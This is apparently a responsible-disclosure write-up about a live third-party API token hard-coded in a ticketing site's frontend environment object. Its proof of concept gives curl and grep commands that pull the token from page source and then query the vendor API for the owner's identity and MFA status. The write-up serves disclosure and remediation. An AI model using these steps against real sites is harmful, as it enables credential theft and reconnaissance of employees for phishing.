Hard-Coded Third-Party API Key Exposed in Frontend Environment Object

During testing of a ticketing platform, I discovered a live third-party Personal Access Token (PAT) hard-coded inside a client-side JavaScript environment object (window.__ENVIRONMENT). The token was served on all public checkout/ticket pages and granted read-only access to the company's localization (i18n) service, exposing internal employee details and project metadata.

Vulnerability Details

• Type: Cleartext Storage of Sensitive Information (CWE-312), Use of Hard-coded Credentials (CWE-798)
• Severity: Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — 5.3)
• Location: Public ticket/checkout pages (/shows/*/tickets/*)

Proof of Concept

1. Extract the token from the production page source:

bash

curl -sk "https://<target>/shows/<any>/<any>/tickets/<uuid>" \
  | grep -oE '"<VENDOR>_API_KEY":"[^"]+"'

curl -sk "https://<target>/shows/<any>/<any>/tickets/<uuid>" \
  | grep -oE '"<VENDOR>_API_KEY":"[^"]+"'

The token was inlined directly in the window.__ENVIRONMENT object returned in the HTML response.

2. Confirm the token is live and identify the owner:

bash

curl -sk -H 'X-API-Key: <REDACTED>' \
  'https://<vendor-api>/v2/api-keys/current'

curl -sk -H 'X-API-Key: <REDACTED>' \
  'https://<vendor-api>/v2/api-keys/current'

Response disclosed the token owner's full name, the internal project ID, and a description confirming the key's purpose ("read-only" scope).

3. Enumerate further account context:

bash

curl -sk -H 'X-API-Key: <REDACTED>' \
  'https://<vendor-api>/v2/user'

curl -sk -H 'X-API-Key: <REDACTED>' \
  'https://<vendor-api>/v2/user'

Response disclosed the owner's username and confirmed MFA was disabled on the account.

Impact

Although the token was scoped read-only, a valid live credential exposed on every public page allowed an attacker to:

• Enumerate internal localization keys and private project metadata.
• Identify a specific employee (full name, username) and confirm their MFA status useful reconnaissance for targeted phishing or account-takeover attempts against the third-party platform.
• Maintain a persistent foothold, since a client-side token silently inherits any future scope/permission changes without those changes being visible or controllable from the public surface.

Remediation

• Immediate: Revoke and rotate the exposed token via the vendor dashboard.
• Short-term: Remove the credential from the frontend environment object.
• Long-term: Fetch i18n resources server-side so the secret is never delivered to the client; enforce MFA for all employee accounts on third-party platforms.

Outcome

Triaged and accepted as Medium. The vendor confirmed the placement was an intentional, documented design decision with read-only scope, but acknowledged that exposed employee metadata is not strictly non-sensitive and that the disclosure prompted them to move the integration behind an authenticated backend.

Happy hacking !!!